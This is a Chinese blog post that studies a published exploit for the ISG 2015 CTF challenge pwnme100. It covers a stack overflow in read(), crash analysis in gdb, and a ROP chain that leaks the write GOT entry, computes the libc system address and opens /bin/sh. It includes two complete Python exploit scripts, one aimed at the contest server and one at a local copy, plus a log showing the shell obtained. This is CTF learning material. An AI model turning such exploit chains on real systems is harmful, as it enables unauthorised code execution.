ISG pwnme100 poc 学习

原创 2015年11月21日 01:15:05

ISG pwnme100 poc 学习

背景

最近在学习ISG2015比赛的 FlappyPig 的writeuphttp://bobao.360.cn/learning/detail/702.html),对其中的pwn比较感兴趣,因此查阅了部分资料后对poc进行了研究。
其中在csdn上海枫的专栏http://blog.csdn.net/column/details/buffer-overflow.html)非常深刻的讲解了缓冲区溢出漏洞原理、实践和不同溢出攻击的技术分析,非常好,值得深看。
其次乌云知识平台上的linux常见漏洞利用技术实践http://drops.wooyun.org/binary/6521),对如何利用缓冲溢出进行了入门的讲解。

程序分析

实验环境是

root@mifan:~/Desktop/isg/pwnme# cat /etc/debian_version 
Kali Linux 2.0
root@mifan:~/Desktop/isg/pwnme# uname -a
Linux mifan 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux

同ida反汇编得到存在漏洞的程序如下:

int sub_804847D()
{
  int v1; // [sp+18h] [bp-8h]@1

  alarm(0x3Cu);
  write(1, "Welcome to ISG 2015!\nPwn me to get the flag:\n", 0x2Du);
  read(0, &v1, 0x100u);
  return 0;
}

运行程序,尝试最后得到如下几个:

root@mifan:~/Desktop/isg/pwnme# python -c "print 'A'*20+'BBBB'"|./pwnme 
Welcome to ISG 2015!
Pwn me to get the flag:
Segmentation fault (core dumped)

注意:如果没有产生coredump,可以通过ulimit -c unlimited设置
确定是否覆盖了返回eip可以查看海枫的《缓冲区溢出攻击实践》(http://blog.csdn.net/linyt/article/details/43283331)
分析core文件

root@mifan:~/Desktop/isg/pwnme# gdb pwnme core 
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
[New LWP 1451]
Core was generated by `./pwnme'.
Program terminated with signal SIGSEGV, Segmentation fault.
**#0  0x42424242 in ?? ()**

这里已经覆盖了,因此攻击的字符串就是20个’A’+shellcode

分析POC

Shellcode结构分析
Pwnme100 提供了lib库,因此可以通过ret2plt(参考使用ret2plt绕过libc安全区:http://blog.csdn.net/linyt/article/details/47429823)技术获取系统shell。
而FlappyPig 的攻击思路大致是

  1. 通过溢出,获取write函数在运行系统中的地址,实现方法是write(1,POINT_TO_WRITE_GOT,4)
  2. 得到这个write-got-address和libc中的write函数的地址(相对地址)进行运算,得到差值,这个差值可以用于计算system函数的真实got地址,并将这个地址替换write-got-address
  3. 通过交互将system函数的got地址发送到系统
  4. 系统运行的shellcode,将system-got-address读到write-got-address中
  5. 将”/bin/sh;\n”字符串作为参数,写入到read-got-address中
  6. 通过调用write函数,跳转到system-got-address函数,并且堆栈中的参数地址为read-got-address

shellcode结构如下:

stack desc
/bin/bash;\n system_got的参数
pop
write 最后跳转到system_got
9 Read参数3
read_got_address Read参数2
0 Read参数1
ppp Ret address
Read_plt_address Read参数,读取/bin/bash,修改read-got地址内容为/bin/bash
4 Read参数3
write_got_address Read参数2
0 Read参数1,system的got地址从这里获取
ppp Ret address
read_plt_address Read函数,读取system的got地址,修改write-got地址为system-got地址
4 Write 参数3
write_got_address Write 参数2
1 Write 参数1
ppp Ret address
write_plt_address 覆盖的eip,用于返回write-got地址
buf 覆盖栈空间

因此poc内容现在就能够看懂:

__author__ = "pxx"
from zio import *
import struct
target = ("202.120.7.145", 9991)#"./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
       #这里shellcode就是上面的逻辑,第一个write和(1)对应,后面的两个read分别和(2)、(3)对应。最后一个write_plt_addr + p_ret + l32(read_got_addr) 是调用system(“/bin/bash”)

         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode#这里的data和ebp_str 大小20个字节,覆盖缓冲区
         io.write(payload + '\n')
         data = io.read(0x4)#(1)
         print len(data)
         write_real_addr = l32(data)#得到write got的实际地址
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000dac50 #得到差值
         system_real_addr = libc_addr + 0x00040190#得到system函数的真实地址
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))#(2)发送system的got地址
         io.write("/bin/sh;\n")#(3)发送system函数的参数
         io.interact()
io = get_io(target)
pwn(io)

write等函数的plt和got定位

root@mifan:~/Desktop/isg/pwnme# objdump -d pwnme |grep "<write@plt>"
08048370 <write@plt>:
 80484a9:   e8 c2 fe ff ff          call   8048370 <write@plt>

通过plt确定got

gdb pwnme core
...
(gdb) x /12i 0x8048370 
   0x8048370 <write@plt>:   jmp    *0x804a01c
   0x8048376 <write@plt+6>: push   $0x20
   0x804837b <write@plt+11>:    jmp    0x8048320
   0x8048380:   xor    %ebp,%ebp
   0x8048382:   pop    %esi
   0x8048383:   mov    %esp,%ecx
   0x8048385:   and    $0xfffffff0,%esp
   0x8048388:   push   %eax
   0x8048389:   push   %esp
   0x804838a:   push   %edx
   0x804838b:   push   $0x8048550
   0x8048390:   push   $0x80484e0
(gdb) x /12i 0x804a01c
   0x804a01c <write@got.plt>:   pusha  
   0x804a01d <write@got.plt+1>: xchg   %eax,%esi
   0x804a01e <write@got.plt+2>: out    %al,(%dx)
   0x804a01f <write@got.plt+3>: mov    $0x0,%bh
   0x804a021:   add    %al,(%eax)
   0x804a023:   add    %al,(%eax)
   0x804a025:   add    %al,(%eax)
   0x804a027:   add    %al,(%eax)
   0x804a029:   add    %al,(%eax)
   0x804a02b:   add    %al,(%eax)
   0x804a02d:   add    %al,(%eax)
   0x804a02f:   add    %al,(%eax)

同理可以确定read的got和plt

确定write和system在libc中地址

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "write"
   17d03:   e8 52 2f 0c 00          call   dac5a <__write+0xa>
   17d46:   e8 0f 2f 0c 00          call   dac5a <__write+0xa>
   17d8f:   e8 c6 2e 0c 00          call   dac5a <__write+0xa>
   19b88:   e8 c3 10 0c 00          call   dac50 <__write>
   27796:   e8 b5 34 0b 00          call   dac50 <__write>

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "__libc_system"
   3fc75:   0f 85 4d 05 00 00       jne    401c8 <__libc_system+0x38>
   3fceb:   0f 85 e7 04 00 00       jne    401d8 <__libc_system+0x48>
   3fde1:   0f 85 01 04 00 00       jne    401e8 <__libc_system+0x58>
   3fe4c:   0f 85 a6 03 00 00       jne    401f8 <__libc_system+0x68>
   3ff07:   0f 85 fb 02 00 00       jne    40208 <__libc_system+0x78>
   3ff6e:   0f 85 a4 02 00 00       jne    40218 <__libc_system+0x88>
   4011a:   0f 85 08 01 00 00       jne    40228 <__libc_system+0x98>
   40177:   0f 85 bb 00 00 00       jne    40238 <__libc_system+0xa8>
00040190 <__libc_system>:
   401a5:   74 09                   je     401b0 <__libc_system+0x20>

此时上面各个数字意义也确定完成了。

本地试验

由于没有环境了,在自己的环境上进行试验,只需要修改libc中的write和system地址即可

root@mifan:~/Desktop/isg/pwnme# ldd pwnme
    linux-gate.so.1 (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e30000)
    /lib/ld-linux.so.2 (0x80000000)
root@mifan:~/Desktop/isg/pwnme# objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 |egrep -i "__write|__libc_system"

   276c6:   e8 95 1f 0b 00          call   d9660 <__write>
   3e351:   0f 85 b1 00 00 00       jne    3e408 <__libc_system+0xa8>
0003e360 <__libc_system>:

修改poc为:

__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode
         io.write(payload + '\n')
         data = io.read(0x4)
         print len(data)
         write_real_addr = l32(data)
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000d9660
         system_real_addr = libc_addr + 0x0003e360
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))
         io.write("/bin/sh;\n")
         io.interact()
io = get_io(target)
pwn(io)

运行结果如下:

root@mifan:~/Desktop/isg/pwnme# python py_pwn.py 
Welcome to ISG 2015!
Pwn me to get the flag:
zio -l 0.5 -b "For help" -a "`printf 'attach 1865\r\n'`" gdb
use cmdline above to attach gdb then press enter to continue ... 
data len: 16
aaaaaaaaaaaaaaaa= 
                        p 

`
0xb7ee9660L
`䤷/bin/sh;
ls
core  libc-2.19.idb  libc-2.19.so  pwnme  pwnme.id2  pwnme.til  py_pwn.py  py_pwn.py2
cat py_pwn.py
__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t

【pwn】 关于栈的迁移

[pwn] 关于栈的迁移在我们仅仅只能够控制ebp的情况下,我们怎么才能够控制eip去拿到我们的shell呢。以下为科普以32位程序举例,在使用call这个命令,进入一个函数的时候,程序会进行一系列栈...
  • yuanyunfeng3
  • yuanyunfeng3
  • 2016年05月19日 18:22
  • 767

C++溢出对象虚函数表指针

C++一特性是通过virtual关键字实现运行时多态,虽然自己用到这个关键字的机会不多,但很多引用的第三方库会大量使用这个关键字,比如MFC...如果某个函数由virtual关键字修饰,并且通过指针方...
  • lixiangminghate
  • lixiangminghate
  • 2016年10月10日 22:43
  • 648

web渗透入门

目录 工具... 2 攻击类型... 2 SQL注入... 2 Exploit网站及工具... 3 预防SQL注入... 13 攻击类型... 15 跨站点请求伪造... 19 缓存投...
  • qq_27376871
  • qq_27376871
  • 2016年06月26日 12:54
  • 6466

CTF如何入门

题目类型 意义 如何做
  • hubuguia
  • hubuguia
  • 2017年04月22日 11:34
  • 2148

堆栈中的EIP EBP ESP

EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址。  为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个。...
  • chenlycly
  • chenlycly
  • 2014年07月17日 18:32
  • 1753

一道ctf pwn 的思路以及解法

一道ctf   pwn  的思路以及解法                                                                               ...
  • tiaotiaolong99234
  • tiaotiaolong99234
  • 2015年06月23日 22:10
  • 6440

jarvisoj pwn level6 writeup

考完试了,又开始做题 这题是一道很好的用来熟悉堆的题 首先先确定漏洞的地方是delete note 漏洞有两个 1. 没有校验对应的堆是否有free 2. delete完之后没有把指向堆的指...
  • charlie_heng
  • charlie_heng
  • 2018年01月21日 22:12
  • 1

CTFer弄好LINUX的pwn环境

前一阵时间把自己的LINUX虚拟机玩崩溃了,导致啥也干不了,镜像也没有留好,需要全部重新弄一遍。留下个记录来比较好。。。 A:下载个64位的ISO镜像 B:到根目录安装好git cd ~...
  • kevin66654
  • kevin66654
  • 2018年01月14日 15:03
  • 16

通过修改EIP寄存器实现强行跳转并且注入DLL到目标进程里

通过修改EIP寄存器实现强行跳转并且注入DLL到目标进程里
  • u013761036
  • u013761036
  • 2016年10月21日 17:32
  • 1783

ISCC2017 pwn 200 —— 字符串格式化漏洞

简介  这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了伪代码int __cdecl __noreturn main(...
  • u012763794
  • u012763794
  • 2017年05月31日 23:02
  • 1159
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:ISG pwnme100 poc 学习
举报原因:
原因补充:

(最多只允许输入30个字)